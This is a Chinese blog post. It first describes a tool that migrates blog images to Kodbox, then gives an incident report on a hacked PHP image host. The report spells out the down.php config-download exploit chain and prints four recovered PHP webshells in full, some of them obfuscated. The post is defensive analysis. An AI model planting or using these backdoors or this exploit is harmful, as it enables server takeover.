2023年5月

周末写了一个博客图片转移工具,取名 ImgDocker

主要功能是把网站文章中所有图片重新上传到可道云中,然后利用其"嵌入内容"将图片外链替换到文章中。逻辑比较简单,介绍一下思路。这是它的配置文件:

main{
sys=typecho
host=154.204.56.154
port=3306
user=
db=
pwd=
table=typecho_contents
regex=(https?:\/\/[^\s]+?\.(?:jpg|jpeg|gif|png|bmp|svg|webp))
api=https://www.ideasky.top/?
cookie=
form1=url={imgurl}&uuid={uuid}&path=getconf(path)&CSRF_TOKEN=getconf(CSRF_TOKEN)&API_ROUTE=explorer/upload/serverDownload
form2=dataArr=[{"path":"{path}","type":"simple"}]&CSRF_TOKEN=getconf(CSRF_TOKEN)&API_ROUTE=explorer/index/pathInfo
}

const{
CSRF_TOKEN=
path=
}

连接数据库后把所有文章select下来,通过配置文件中的正则表达式提取所有图片。这里的正则表达式如果你不想手写可以去问ChatGPT,非常好用!!

图片提取后使用可道云的“离线下载”功能将图片下载到指定path中。程序处理可道云api返回的json取得图片新url,替换到文章text中,最后将text转义,update到mysql。

我的config文件写法加入了一个有趣的特性,可以在一个config字段中通过getconf函数引用另一个config字段,程序中使用递归实现。

另外,这个工具不能和可道云的webdav同时使用,否则会出现错误。

最后,请在使用前备份数据库。数据安全永远排在第一位。在此处下载本程序及源码。

今天准备把博客图片迁移,结果打开之前部署的php 简单图床,发现网站首页被篡改,吓我一跳。

1-1

为了防止图片被植入危险代码,先查宝塔的备份,下载最早时刻的备份文件,以下是最新的目录结构。

wwwroot
│  .htaccess
│  favicon.ico
│  *index.html
│  *index.php.123
│  robots.txt
│  SECURITY.md
│  *utf8.html
│
└─i
        .htaccess
        *1.php
        *20230426054659.php
        *bx.php
        *gsl.php

Nginx日志显示新文件于4月26号下午6点左右被上传

原理是利用图床程序/Application/down.php漏洞下载config.php文件后破解md5得到密码,进入后台上传木马php。

经查,Github上已有用户提出关于此漏洞的Issue

总体来说是一个比较低级的疏忽,总结以下六方面忠告:程序及时升级,php禁用危险函数,完善鉴权体系,对用户提交的数据做无害化处理,备份、日志,设置强密码。

这是该漏洞的具体利用方法:

curl http://mydomain/application/down.php?dw=./config/config.php
GetPwdMd5
Crackit
Login
'extensions'=>'gif,jpeg,png,tif,bmp,tif,svg,webp,jpg,tga,svg,ico,php,jsp'
UploadPHP

四个后门代码

1.php

<?php assert($_POST['a']);?> 

gsl.php

<?php
eval($_POST["pass"]);

20230426054659.php

<? php class GcHN18v4 { /*F7R164*/
    function __construct($x) {
        $c = str_rot13('ffreg'); /*F7R164*/
        $a = ("!" ^ "@").$c; /*F7R164*/
        $a($x);
    }
}
new GcHN18v4($_REQUEST['a']); ?>

bx.php

<? php@ error_reporting(0);
session_start();
$key = "0cc175b9c0f1b6a8";
$_SESSION['k'] = $key;
$f = 'file'.
'_get'.
'_contents';
$p = '|||||||||||' ^ chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);
$HLu96 = $f($p);
if (!extension_loaded('openssl')) {
    $t = preg_filter('/\s+/', '', 'base 64 _ deco de');
    $HLu96 = $t($HLu96.
        "");
    for ($i = 0; $i < strlen($HLu96); $i++) {
        $new_key = $key[$i + 1 & 15];
        $HLu96[$i] = $HLu96[$i] ^ $new_key;
    }
} else {
    $HLu96 = openssl_decrypt($HLu96, "AES128", $key);
}
$arr = explode('|', $HLu96);
$func = $arr[0];
$params = $arr[1];
class G2X3loiX {
    public
    function __invoke($p) {@
        eval("/*Z1e6758ucG*/".$p.
            "");
    }
}@
call_user_func /*Z1e6758ucG*/ (new G2X3loiX(), $params); ?>

——到此为止——